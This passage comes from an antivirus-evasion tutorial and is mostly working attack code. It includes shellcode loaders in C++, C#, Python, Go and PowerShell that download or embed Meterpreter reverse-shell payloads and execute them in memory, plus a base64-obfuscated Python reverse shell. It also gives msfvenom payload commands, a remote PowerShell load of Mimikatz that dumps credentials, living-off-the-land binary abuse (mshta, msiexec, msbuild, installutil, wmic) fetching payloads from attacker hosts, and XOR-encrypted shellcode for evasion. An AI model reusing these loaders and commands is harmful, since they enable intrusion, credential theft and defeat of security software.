    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  / 2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

Figure 4: HTTP-based shellcode retrieval implementation

Examining the detection results: after removing the embedded shellcode, Antivirus no longer flags the executable.

Figure 5: Detection results after shellcode separation

Numerous similar remote-loading techniques exist, such as PowerShell in-memory loading—a method with which many practitioners are undoubtedly familiar.

For instance, PowerShell can be used to remotely load Mimikatz for credential extraction:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >> c:\1.txt

Figure 6: PowerShell remote loading example

While many such techniques are widely used, certain in-memory loading methods are still intercepted by some antivirus solutions. We shall address this issue later in the article.

At this juncture, the underlying principle of language-based loaders should be self-evident. Nonetheless, I shall offer an explanation, drawing upon my colleague's analogy:

Shellcode is analogous to water; a loader serves as the vessel that contains it. Just as water must be poured into a cup before it can be consumed, shellcode must be loaded by a loader before it can be executed.

A) Loaders for Executing Shellcode

SSI (Shellcode String Injection):

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5

Figure 7: MSFVenom shellcode generation output

Figure 8: SSI loader execution example

Shellcode Launcher:

Figure 9: Shellcode Launcher tool interface

C# Loader:

using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
    class Program
    {
        static void Main(string[] args)
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[333] {

            };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            }
                    private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            [DllImport("kernel32")]
                    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
            [DllImport("kernel32")]
                    private static extern bool VirtualFree(IntPtr lpAddress,
            UInt32 dwSize, UInt32 dwFreeType);
            [DllImport("kernel32")]
                    private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
            [DllImport("kernel32")]
                    private static extern bool CloseHandle(IntPtr handle);
            [DllImport("kernel32")]
                    private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
            [DllImport("kernel32")]
                    private static extern IntPtr GetModuleHandle(
            string moduleName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetProcAddress(
            IntPtr hModule,
            string procName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 LoadLibrary(
            string lpFileName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetLastError();
      }
}

Python Loader:

import base64,sys;
import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)

exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

Go with Inline C:

package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
    ... // Additional shellcode bytes omitted
    buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

Resource Loading: CPLResourceRunner

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

Generate shellcode using Cobalt Strike:
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt

0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==

Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl

PowerShell Loading (MMFml):

namespace mmfExeTwo
{
   using System;
   using System.IO.MemoryMappedFiles;
   using System.Runtime.InteropServices;

   class Program
   {

       private delegate IntPtr NewDelegate();

       // To handle the location by applying the appropriate type
       // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode
       // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution
       private unsafe static IntPtr GetShellMemAddr()
       {
           // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc"
           // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"
           var shellcode = new byte[]
               {
                   0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                   0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                   0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                   0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                   0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                   0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                   0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                   0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                   0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                   0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                   0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                   0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                   0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                   0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                   0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                   0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                   0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
               };

           MemoryMappedFile mmf = null;
           MemoryMappedViewAccessor viewaccessor = null;

           try
           {
               /* The try block creates the MMF and assigns the RWE permissions
               The view accessor is created with matching permissions
               the shell code from GetShellMemAddr is written to MMF
               then the pointer is gained and a delegate is created to handle pointer value
               so that it can be passed in therms of the returned function */

               mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);
               var pointer = (byte*)0;
               viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
               var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));
               return func();
           }
           catch
           {
               return IntPtr.Zero;
           }
           finally // You should always clean up after yourself :)
           {
               viewaccessor.Dispose();
               mmf.Dispose();
           }
       }

       static void Main(string[] args)
       {
           GetShellMemAddr();
       }
   }
}

msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp

Invoke-MMFml

Figure 10: MMFml PowerShell loader execution

I shall conclude the discussion on loaders at this point. It is highly recommended to develop custom loaders when possible, as they often yield superior evasion results.

B) Lolbins: Leveraging Trusted Binaries for Shellcode Loading

Beyond the "cup and water" separation paradigm of loaders, I contend that Lolbins—or whitelisted binaries—represent another significant category of separation-based evasion.

These techniques are primarily designed to bypass behavioural detection. For instance, when an application's execution context deviates from expected patterns—such as invoking specific APIs that would not normally be called—such anomalous behaviour is readily detected. Whitelist-based exploitation circumvents these behavioural heuristics.

It should be noted, however, that in some cases the shellcode or executable files employed in these techniques may still be written to disk, rendering them susceptible to signature-based detection. We shall address this aspect later in the article. Let us first examine the concept of whitelist exploitation.

LOLBins, an acronym for "Living-Off-the-Land Binaries", was originally conceived by Christopher Campbell and Matt Graeber at the DerbyCon security conference in 2013, with the term itself later coined by Philip Goh. In essence, these are trusted system binaries that can be repurposed for malicious activities. Consider the following examples:

DarkHydrus APT Sample

MD5: B108412F1CDC0602D82D3E6B318DC634

Launch command employed:

cscript.exe "C:\Users\Public\Documents\OfficeUpdateService.vbs"

This example utilises cscript to execute a VBS script that establishes persistence via a startup entry.

Mshta:

payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin

cat shellcode.bin |base64 -w 0

mshta.exe http://192.168.174.134 /qing.hta

Template (replace shellcode at designated location):
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

Figure 11: CACTUSTORCH.hta shellcode replacement location

Msiexec:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt

C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt

# Loading DLL:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll

msiexec /y C:\qing.dll

Msbuild:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml

Template (courtesy of 3gstudent):
https://github.com/3gstudent/msbuild-inline-task

Figure 12: MSBuild inline task template

Installutil:

# Compile:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs

# Execute:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe

# Details:
https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

Wmic:

wmic os get /FORMAT:"http://example.com/evil.xsl"

Template:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

Csc:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 - f csharp

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

Subsequent execution can be performed via Installutil.

I shall refrain from enumerating further whitelist exploitation techniques, as the underlying principle remains consistent across different binaries.

A pertinent question arises: in certain scenarios, the executables or DLLs generated from our shellcode may still be written to disk when employing these techniques.

Although the aforementioned in-memory loading methods can mitigate this issue, what if file system persistence is a mandatory requirement? How can one evade detection in such cases?

This brings us to the second major category of evasion techniques: Obfuscation.

0x02 Shellcode "Obfuscation" Evasion

Is it possible to apply the same obfuscation, encryption, and fragmentation techniques used for PHP web shells to shellcode?

Let us begin with the simplest examples.

A) Shellcode Encoding Obfuscation

After XOR-encrypting the shellcode, memory is allocated for execution—a process fundamentally similar to the shellcode execution method described at the beginning of this article.

C# XOR Example (ShellcodeWrapper):

using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace RunShellCode
{
    static class Program
    {
        //==============================================================================
        // CRYPTO FUNCTIONS
        //==============================================================================
        private static T[] SubArray<T>(this T[] data, int index, int length)
        {
            T[] result = new T[length];
            Array.Copy(data, index, result, 0, length);
            return result;
        }

        private static byte[] xor(byte[] cipher, byte[] key) {
            byte[] decrypted = new byte[cipher.Length];

            for(int i = 0; i < cipher.Length; i++) {
                decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);
            }

            return decrypted;
        }

        //--------------------------------------------------------------------------------------------------
        // Decrypts the given a plaintext message byte array with a given 128 bits key
        // Returns the unencrypted message
        //--------------------------------------------------------------------------------------------------
        private static byte[] aesDecrypt(byte[] cipher, byte[] key)
        {
            var IV = cipher.SubArray(0, 16);
            var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);

            // Create an AesManaged object with the specified key and IV.
            using (AesManaged aes = new AesManaged())
            {
                aes.Padding = PaddingMode.PKCS7;
                aes.KeySize = 128;
                aes.Key = key;
                aes.IV = IV;

                using (MemoryStream ms = new MemoryStream())
                {
                    using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(encryptedMessage, 0, encryptedMessage.Length);
                    }

                    return ms.ToArray();
                }
            }
        }

        //==============================================================================
        // MAIN FUNCTION
        //==============================================================================
        static void Main()
        {
            byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };
            string key = "qing";
            string cipherType = "xor";


            byte[] shellcode = null;

            //--------------------------------------------------------------
            // Decrypt the shellcode
            if (cipherType == "xor") {
                shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
            }
            else if (cipherType == "aes") {
                shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
            }

            //--------------------------------------------------------------            
            // Copy decrypted shellcode to memory
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // Prepare data
            IntPtr pinfo = IntPtr.Zero;

            // Invoke the shellcode
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(
            UInt32 lpStartAddr,
            UInt32 size,
            UInt32 flAllocationType,
            UInt32 flProtect
        );

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
        );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
        );
    }
}

Figure 13: XOR-encrypted shellcode C# loader implementation Figure 14: AV detection results for XOR-encrypted shellcode

The same principles apply to other programming languages. For instance, Python supports XOR encoding, Base64, and hexadecimal encoding, among others.

Python Base64 Example (k8gege):

import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Python Hexadecimal Example:

import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Shellcode Encoder

I also recommend the following encoding tool:
https://github.com/ecx86/shellcode_encoder

Beyond language-based shellcode encoding, one may also choose to encode the shellcode during generation.

MSFVenom Example:

kali@kali:~$ msfvenom -l encoder

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
